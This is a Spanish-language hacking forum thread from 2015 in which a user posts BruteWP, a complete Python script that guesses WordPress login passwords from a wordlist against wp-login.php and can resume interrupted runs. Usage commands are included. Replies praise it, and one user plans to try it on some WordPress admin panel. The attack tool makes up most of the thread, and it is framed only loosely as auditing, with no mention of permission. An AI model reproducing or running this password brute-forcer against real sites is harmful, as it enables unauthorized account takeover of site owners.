Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: ANTRAX en Agosto 25, 2015, 03:03:19 PM

Título: Wordpress Brute Force
Publicado por: ANTRAX en Agosto 25, 2015, 03:03:19 PM
(https://cloud.githubusercontent.com/assets/12612092/9469601/65fcc94c-4b1e-11e5-8362-50968127ae0e.JPG)

Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.

Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress

Forma de uso:

Código (bash) [Seleccionar]
./BruteWP.py -h

./BruteWP.py -t [target] -u [user] -w [wordlist] -r [restaurar ataque]


(https://cloud.githubusercontent.com/assets/12612092/9444763/db527b4e-4a5e-11e5-95ce-47b6e384772b.JPG)
(https://cloud.githubusercontent.com/assets/12612092/9443296/b0a38bc0-4a56-11e5-9b50-4715eb7072c4.JPG)

Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : www.mipagina.com/wp-login.php, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.

El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.

Código (python) [Seleccionar]
#!/usr/bin/python
#-*- coding:UTF-8 -*-
import argparse
import httplib
import urllib
import socket
import time

def attack(target,user,wordlist, restore = None):
    i= target.find("/")
    site = target[:i]
    post = target[i:]
    iteracion = open('iteracion.txt','a+')
    wordlist = open(wordlist, 'r+')
    it = iteracion.readlines()
    if len(it) == 0:
        iteracion.write("1\n")
        iteracion.close()
        iteracion = open('iteracion.txt','r+')
        it = iteracion.readlines()
    it2= int(str(it[len(it)-1]).strip())
    aux = wordlist.readlines()
    test = aux[it2-1:]
    cont = it2
    if restore:
print "Restaurando ataque...\n"
    else:
        test = aux
        cont=1
        iteracion = open('iteracion.txt','w+')
    for password in test:
        try:
            cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
            parametros = urllib.urlencode({'log': user,'pwd':password.strip()})
            abrir_conexion = httplib.HTTPConnection(site)
            abrir_conexion.request("POST", post, parametros, cabeceras)
            respuesta = abrir_conexion.getresponse()
            if respuesta.status == 302 or respuesta.status == 303:
                print '%d- Password: %s FOUND!!!' %(cont,password.strip())
                break
            elif respuesta.status == 200:
                print '%d- Password: %s Not found!!!' %(cont,password.strip())
            else:
                print 'ERROR!!!!'
            cont+=1
            abrir_conexion.close()
        except KeyboardInterrupt:
            print '\n[*]Ejecución terminada por el teclado[*]'
            print '[*]Status saved![*]'
            iteracion.write(str(cont)+"\n")
            break
        except (socket.gaierror, socket.error,httplib.BadStatusLine):
            print '[*]Status saved![*]'
            iteracion.write(str(cont)+'\n')
            time.sleep(5)
            continue


def conexion():
    parser = argparse.ArgumentParser(usage="./BruteWP.py -t [target] -u [user] -w [wordlist]")
    parser.add_argument("-t", help="Target a atacar. ejemplo: www.sitewordpress/wp-login.php")
    parser.add_argument("-u", help="Nombre de usuario de WordPress")
    parser.add_argument("-w", help="Diccionario para realizar el ataque")
    parser.add_argument("-r", action="store_true", help="Restaura la última sesión del ataque")
    args = parser.parse_args()
   
    print """
____             _     __        ______ 
| __ ) _ __ _   _| |_ __\ \      / /  _ \
|  _ \| '__| | | | __/ _ \ \ /\ / /| |_) |
| |_) | |  | |_| | ||  __/\ V  V / |  __/
|____/|_|   \__,_|\__\___| \_/\_/  |_|   
                                        v 1.1 @Samuel.E
    """
    if args.u != None and args.w != None and args.t != None and args.r:
        attack(args.t,args.u,args.w, True)
    elif args.u != None and args.w != None and args.t != None:
        attack(args.t,args.u,args.w)
    else:
        parser.print_help()
   


if __name__ == '__main__':
    conexion()


Repo: https://github.com/samuelproject/BruteWP

Saludos!
ANTRAX
Título: Re:Wordpress Brute Force
Publicado por: DeBobiPro en Agosto 25, 2015, 03:34:19 PM
Interesante !!

Muchas gracias @ANTRAX (https://underc0de.org/foro/index.php?action=profile;u=1) !
Título: Re:Wordpress Brute Force
Publicado por: zoro248 en Agosto 25, 2015, 05:21:18 PM
En el caso de la pausa por primera vez, como se realiza? para que pueda ser restaurado sin problemas [se me ocurre Ctrl + c]


Saludos!
Título: Re:Wordpress Brute Force
Publicado por: Alvares97 en Agosto 27, 2015, 03:59:29 PM
Muy interesante esta Herramienta  :)
Título: Re:Wordpress Brute Force
Publicado por: Payasako en Septiembre 03, 2015, 02:28:31 PM
Pedazo de tool, será un placer probarla contra algún panel de administración de WordPress.  Muy grande, @ANTRAX (https://underc0de.org/foro/index.php?action=profile;u=1)